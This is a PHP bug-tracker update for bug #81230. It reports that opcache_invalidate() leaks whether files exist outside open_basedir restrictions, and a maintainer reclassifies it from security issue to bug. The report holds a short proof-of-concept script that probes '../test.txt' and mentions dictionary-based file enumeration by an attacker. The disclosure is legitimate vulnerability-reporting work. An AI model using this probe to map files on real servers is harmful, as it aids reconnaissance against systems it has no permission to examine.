Sec Bug->Bug #81230 [Opn]: open_basedir bypass through opcache_invalidate()

Edit report at https://bugs.php.net/bug.php?id=81230&edit=1 ID: 81230 Updated by: cmb@php.net Reported by: jeffbencteux at gmail dot com Summary: open_basedir bypass through opcache_invalidate() Status: Open -Type: Security +Type: Bug Package: opcache Operating System: Debian 10 PHP Version: 8.0.8 Block user comment: N Private report: Y New Comment: open_basedir bypasses are not considered to be security issues; cf. <https://externals.io/message/105606> and <https://externals.io/message/115406>. Previous Comments: ------------------------------------------------------------------------ [2021-07-07 18:50:19] jeffbencteux at gmail dot com Description: ------------ Similar to bug #81131. It is possible to test for files and directories existence by using the $filename parameter of the opcache_invalidate() PHP function, thus bypassing open_basedir restriction. A potential attacker could enumerate files with the help of a dictionary. The root cause seems to be that this function does not enforce checks for open_basedir restrictions. Test script: --------------- <?php /* Assuming: * web root in /var/www/html/ * php.ini with open_basedir = /var/www/html/restricted mkdir /var/www/html/restricted echo "test" > /var/www/html/test.txt The current file is located in /var/www/html/restricted/test.php */ echo opcache_invalidate("../test.txt"); ?> Expected result: ---------------- Warning: opcache_invalidate(): open_basedir restriction in effect. File(/var/www/html/test.txt) is not within the allowed path(s): (/var/www/html/restricted) in /var/www/html/restricted/test.php on line 14 Actual result: -------------- 1 ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=81230&edit=1